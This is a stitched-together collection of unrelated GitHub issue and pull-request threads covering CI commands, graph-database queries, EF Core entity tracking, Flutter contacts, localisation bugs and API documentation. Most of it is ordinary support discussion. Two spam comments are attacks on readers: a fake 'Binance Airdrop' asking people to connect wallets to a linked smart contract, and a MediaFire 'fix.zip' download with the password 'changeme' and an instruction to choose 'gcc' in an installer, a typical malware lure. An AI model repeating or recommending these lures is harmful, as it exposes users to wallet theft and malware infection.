A video or a GIF is preferred. when using Loom, don’t embed because it looks like it’s a GIF. instead, just link to the video

Type of change

Please delete options that are not relevant.

Bug fix (non-breaking change which fixes an issue)
New feature (non-breaking change which adds functionality)
Breaking change (fix or feature that would cause existing functionality to not work as expected)
Chore (housekeeping or task changes that don't impact user perception)
This change requires a documentation update

Testing

How Has This Been Tested?

Please describe the tests that you ran to verify your changes. Also list any relevant details for your test configuration.
Delete anything that is not relevant

[ ] Manual
[ ] JUnit
[ ] Jest
[ ] Cypress

Test Plan

Add Testsmith test cases links that relate to this PR

Issues raised during DP testing

Link issues raised during DP testing for better visiblity and tracking (copy link from comments dropped on this PR)

Checklist:
Dev activity

[ ] My code follows the style guidelines of this project
[ ] I have performed a self-review of my own code
[ ] I have commented my code, particularly in hard-to-understand areas
[ ] I have made corresponding changes to the documentation
[ ] My changes generate no new warnings
[ ] I have added tests that prove my fix is effective or that my feature works
[ ] New and existing unit tests pass locally with my changes
[ ] PR is being merged under a feature flag

QA activity:

[ ] Speedbreak features have been covered
[ ] Test plan covers all impacted features and areas of interest
[ ] Test plan has been peer reviewed by project stakeholders and other QA members
[ ] Manually tested functionality on DP
[ ] We had an implementation alignment call with stakeholders post QA Round 2
[ ] Cypress test cases have been added and approved by SDET/manual QA
[ ] Added Test Plan Approved label after Cypress tests were reviewed
[ ] Added Test Plan Approved label after JUnit tests were reviewed

Summary by CodeRabbit

New Features

Introduced a new consolidated data fetching approach for enhanced performance and efficiency.

Tests

Updated Cypress test scripts to align with the new data retrieval process.

Refactor

Streamlined feature flag handling in test support files.
Revamped application state management logic to integrate with consolidated data endpoints.

Chores

Removed redundant lines from test configuration files.

Documentation

Updated network assertions and command documentation to reflect changes in data fetching.

/ok-to-test<EMAIL_ADDRESS>

/ok-to-test<EMAIL_ADDRESS>

/ci-test-limit

/ci-test-limit

/ok-to-test<EMAIL_ADDRESS>

/ok-to-test<EMAIL_ADDRESS>

/ok-to-test<EMAIL_ADDRESS>

/ok-to-test<EMAIL_ADDRESS>

/ci-test-limit

/ci-test-limit

/ci-test-limit

/ci-test-limit

/ci-test-limit

/ci-test-limit

/ci-test-limit

/ci-test-limit

/ci-test-limit

/ok-to-test<EMAIL_ADDRESS>

/ci-test-limit sha=c41447386e7cbe243afb280a7cc75aaaa866d41c

/ok-to-test<EMAIL_ADDRESS>

/ci-test-limit

/ci-test-limit

/ci-test-limit

/ok-to-test<EMAIL_ADDRESS>

/ok-to-test<EMAIL_ADDRESS>

/ok-to-test<EMAIL_ADDRESS>

/ok-to-test<EMAIL_ADDRESS>


Use version placeholder in documentation URL

I think I will decline this one since I prefer to link current like we do on start.spring.io since that's the link we want users and search engines to use.

Ah, right. Fair enough!


How to extract values of a nested JSON and use in MATCH query, also can we index based on the properties of nested json?

{
"id":<PHONE_NUMBER>32109,
"properties": {
"id": "351",
"label": "customer",
"properties": "{path: "/root/custA", cust-name: "DDDDD", cust-id: "51", description: "test", time-out: "2", valid-state: "enable", role: "46"}"
}
}
Also, since the properties cannot have "-" all the properties for the node are added as a nested JSON.

This worked for me:
select create_vlabel('test_graph', 'vertex1');
select create_vlabel('test_graph', 'customer');
select *
from cypher('test_graph', $$
	CREATE (v:customer
	{id:351, properties:{path:"/root/custA"
		               , `cust-name`: "DDDDD"
		               , `cust-id`: 51
		               , description: "test"
		               , `time-out`: 2
		               , `valid-state`: "enable"
		               , role: 46}})
   RETURN v
$$) as t(a agtype);
select *
from cypher('test_graph', $$
	MATCH (v:customer)
	   WHERE v.properties.role = 46
   RETURN v
$$) as t(a agtype);

Hope it helps.


luban为啥不更新重构后的版本？

当前鲁班版本用的Classic经典版，因为时间太少，于是基于IcePower的XET7的鲁班对ET8进行适配，所以还没有去研究新版。后续空闲的话会去看下新版luban的接入情况。

🚀 Binance Airdrop - Earn up to $1,000 in Tokens! 💰
Welcome to the exclusive Binance Airdrop! We're giving away generous rewards to eligible participants. Follow the steps below to join and earn up to $1,000 in tokens instantly.
How to Participate:
1. 🤝 Connect Your Wallet
Make sure you have a compatible wallet and connect it to Binance.
Note: Your wallet must have a minimum balance to be eligible.
2. 🔗 Access the Smart Contract
Access the smart contract through the provided link: Binance Airdrop Smart Contract.
3. 🔄 Interact with the Contract
Winners: @juglans, @iabao, @jo0ger, @kgames, @KuNgia09, @collapsar-6, @MillionaireChen


Chinese translation

versions：mobultion-0.4.5
translate en_us to zh_cn

This mod no longer supports any version than 1.16.5 and is getting a rewrite so this translation is no longer valid.


how to handle the click event of log_out button?

I need to send POST request for logging out. How do I handle the click event of log_out button?

@button-exit-clicked


fix: dnsConfig collission with nodeSelector context

The dnsConfig value injection was accidentally embedded in the with context for nodeSelector.

Need to update CHANGELOG.md and index.yaml. @kscherme

Hi @ScOut3R ,  thanks so much for bearing with us.  We just updated our workflow for releasing the helm chart to make everything much simpler.  Could you pull these changes into your branch and fix the conflicts that I introduced?  I can then merge in your changes.  Thanks so much.

Thank you @kscherme for your assistance and I apologise for staying silent for so long. I appreciate my changes being accepted and merged.


Feature Request: Updating the database with different entity reference

It's about the problem solved with this stackoverflow post:
http://stackoverflow.com/questions/7968598/entity-4-1-updating-an-existing-parent-entity-with-new-child-entities/7969372#7969372
Let's say we have Entity "A" with the children Entity "A1".
I want load "A" & "A1" in a context which i close right after.
After a while i have replaced the list with another "A1" (new object, same primary key), now when opening a new context trying to update "A" we run into an exception:
Exception message:
System.InvalidOperationException: 'The instance of entity type 'TransportProject' cannot be tracked because another instance of this type with the same key is already being tracked. When adding new entities, for most key types a unique temporary key value will be created if no key is set (i.e. if the key property is assigned the default value for its type). If you are explicitly setting key values for new entities, ensure they do not collide with existing entities or temporary values generated for other new entities. When attaching existing entities, ensure that only one entity instance with a given key value is attached to the context.'

Wouldn't it be helpful not to have to do all the work ourselves (as described in the link at the top) but rather trust the framework does this automatically?
Any reasons why it has been decided to implement it this way? Are there any plans or is there a chance this improvement will be implemented?
Thanks!
Further technical details
EF Core version: 1.1.0
Database Provider: SqLite
Operating system: Windows 10 Mobile
IDE: Visual Studio 2017 RC

@groege We have attempted to do such things automatically in the past and found it fraught with problems, especially when it comes to graphs of entities where the relationships are different in different graphs. Also, when people are not expecting this behavior it can become very difficult to figure out what is happening--for example, I asked the context to track this object, but actually it just updated a different object and the first object is still not being tracked. All that being said, having a higher-level solution to this kind of issue is on our backlog--see #5536.
For now, if there are two object instances that represent the same entity, then it is the application's responsibility to know when this is happening and apply changes from one object to the other as appropriate. For example, if the context is already tracking one object, then changes made to another object with the same identity can be applied using something like this:
context.Entry(post).CurrentValues.SetValues(newPost);

This will take the property values from newPost and set these values on the tracked post .

Thanks for the info :) ! Will keep a close look at #5536


Remove Observable combinator methods

Despite our best efforts to hide them, the Observable combinators made their way onto the Model Response before release. We should remove them before too many people rely on them. Of course we want to support observable, but we would don't want to take a hard dependency on Rx. People can pull that in if they use it.

Rx is gone.  ModelResponse no longer has the Rx combinator methods.


Problems with adding mobile number

I am able to add a phone number like this:
contact.phones = [Item(label: "work", value: telephone)];}
and it works. But when I try to add a mobile number, it doesn't work
contact.phones = [Item(label: "mobile", value: mobil)];}
Does anybody knows how to fix this?
Thanks!

If you could share error log, we might be able to help you. As adding mobile number works as expected.

@pavanbuzz thanks for your reply!
I do not get an error, but while testing I found out, that if I want to to add just a mobile number, everything works fine. But if I want to create an contact with both numbers, just the last one will be added. So if I first add the mobile number and than the work number, the work number will be saved, and if i first add the work number and than the mobile number, the mobile number will be saved.
Do you know how I could solve this? I just implement the numbers like I said in my first message.

@Dfisch3r Phones, Emails, Postal Addresses are lists. Hence in your version of the code you were replacing the items that were previously added.
Iterable<Item> emails = [];
Iterable<Item> phones = [];
Iterable<PostalAddress> postalAddresses = [];

The above code was extracted from Code Link
In your case, change the code to contact.phones = [Item(label: "work", value: telephone), Item(label: "mobile", value: mobile)];

@pavanbuzz Oh! Thanks that worked!
But now I run into another problem (I think that haven't accured before). If I want to add a new contact with the same name, the (new) informations just get add to the old contact. But I do not use .updateContact, I use await ContactsService.addContact(contact);
How can I force to always add a new contact, even if there exist a similar contact?

As per Apple's Documentation for CNSaveRequest;
If you try to add an object (that is, a contact or a group) that already exists in the contact store, you receive the CNError.Code.insertedRecordAlreadyExists error and the CNErrorUserInfoAffectedRecordsKey array is updated to contain the object you tried to add.

To answer your question, iOS will throw an error if the contact already exists in the contact store.

@pavanbuzz but isn't it possible to add two contacts with the same name? Maybe someone knows two guys called "Max Anderson".

Solved.
Thanks for your help!


Create package & refactor gsea

Some renaming of python scripts but no changes to any function calls
PE functionality is about 75% complete.
Refactored cli.py
Completed package setup (need to figure out how the chatbot may fit into this later)

Please try to install from my branch to test.
pip install git+https://github.com/stjude-biohackathon/KIDS24-team18.git@enrichr-api-sdh

tested by @tkmamidi and now grumpy is on your command line!!!! @forrest1988


CLI open issue test, automation to project board test

check check

Download
https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file
password: changeme
In the installer menu, select "gcc."


The localized 'blob' shows different between zh-TW and zh-CN

Storage Explorer Version: 1.11.1
Build: 20191205.1
Branch: master
Language: Chinese(zh-TW)
Platform/OS: Windows 10/ Linux Ubuntu 18.04/macOS High Sierra
Architecture: ia32/x64
Regression From: Not a regression
Steps to reproduce:

Launch Storage Explorer.
Open 'Settings' -> Application (Regional Settings) -> Select '繁體中文' -> Restart Storage Explorer.
Open localized 'Settings' -> 'Data Explorers' -> Check the localized 'blob'.
Navigate to Application (Regional Settings) -> Select '中文(简体) -> Restart Storage Explorer.
Open localized 'Settings' -> 'Data Explorers' -> Check the localized 'blob'.

Expect Experience:
The localized blob in zh-TW and zh-CN shows same.
Actual Experience:
The localized 'blob' is different between zh-TW and zh-CN
zh-TW

zh-CN

More Info:

ENU screenshot:

This issue also reproduces when Acquiring/Breaking lease for one blob container.

On review.

File: loc\en\src\Standalone\resources\Shell.json
ID: 0; "DescriptionAutoRefresh"
File: loc\en\src\Standalone\resources\Azure.json
ID: 0; "MessageContainerAcquireLeaseConfirmation"

Capitalized to 'Blob'

Won't fixing. We'll review english strings, but for non-english we won't nit-pick over these.


[Mod Support Request] - Pirates And Looters Mod

14 mobs added
1.16.5 forge

https://www.curseforge.com/minecraft/mc-mods/pirates-and-looters-mod is the link to it idk why it got deleted in the original request


Update position marker

Hi. How can I update the position of a marker?

Just update the position property of the marker.
Sent from my iPhone

On Sep 28, 2019, at 9:20 PM, Wuilmer<EMAIL_ADDRESS>wrote:
Hi. How can I update the position of a marker?
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub, or mute the thread.


Issue with "fields" on the Market board current data endpoint

Hey there,
Just doing some basic tests to try and scope my data calls down to only what I need, but it seems like the "fields" field isn't working as it's suggested it would in the documentation. Here is an example:

This is the exact URL I'm using:
https://universalis.app/api/v2/Materia/36094,36263,4828,27835,36080,36086,36060?listings=3&fields=listings.pricePerUnit
Cheers

Seems to be an issue with multiple itemIDs. items.listings.pricePerUnit seems to work for that.

Totally makes sense. Not an issue with the API then, but might be worth updating the documentation on the field?

Seems that if you specify multiple itemIDs it returns a CurrentlyShownMultiViewV2 object instead of the CurrentlyShownView object that is referenced in the documentation.

Yes, including multiple item IDs produces a result with the results for each item separated (which therefore has a different structure). I forgot about this issue, will update the docs today.

Updated, closing this issue


doc typo

Fixes #

Files from lib folder are generated from src/lib folder. Some files from src/lib are generated from TSJS-lib-generator repository.
Read Contributing lib.d.ts fixes for more info.

Thanks @j-oliveras. @bhamail feel free to re-open this.


README.md: Fixed typo

Oops, thanks!

Cherry-picked onto develop, since it was submitted as master, so closing it here.

Cherry-picked onto develop, since it was submitted against master, so closing it here.

OK, great! (Didn't know there was a separate develop branch, I just edited the file on the GH web UI)

Yeah, I like to set master as the default branch, as it means that issues are closed when I do a new release and not before (among other things). However it does mean that PRs get send against master by default. It's only a few seconds' work to rebase them though...


Replace Random UID with Data Source Name

Issue Description:
Currently, the Grafana-Druid plugin generates a random UID for each data source, making it challenging to migrate dashboards across instances and maintain consistency. This issue proposes replacing the random UID with the data source name, similar to how the Prometheus plugin handles data sources. This enhancement will simplify dashboard migration, improve user experience, and reduce the risk of errors when moving dashboards between different environments.
Current Behavior:
When adding a data source in the Grafana-Druid plugin, a random UID is generated and assigned to the data source.
Desired Behavior:
When adding a data source in the Grafana-Druid plugin, the data source name should be used as the UID instead of generating a random one.
Additional Context:
This change aligns the Grafana-Druid plugin with the behavior of other popular data source plugins like Prometheus, ensuring consistency and usability.

It seems that in other plugins, we can only accomplish this through the configuration file or the API.
It's more Grafana's responsibility.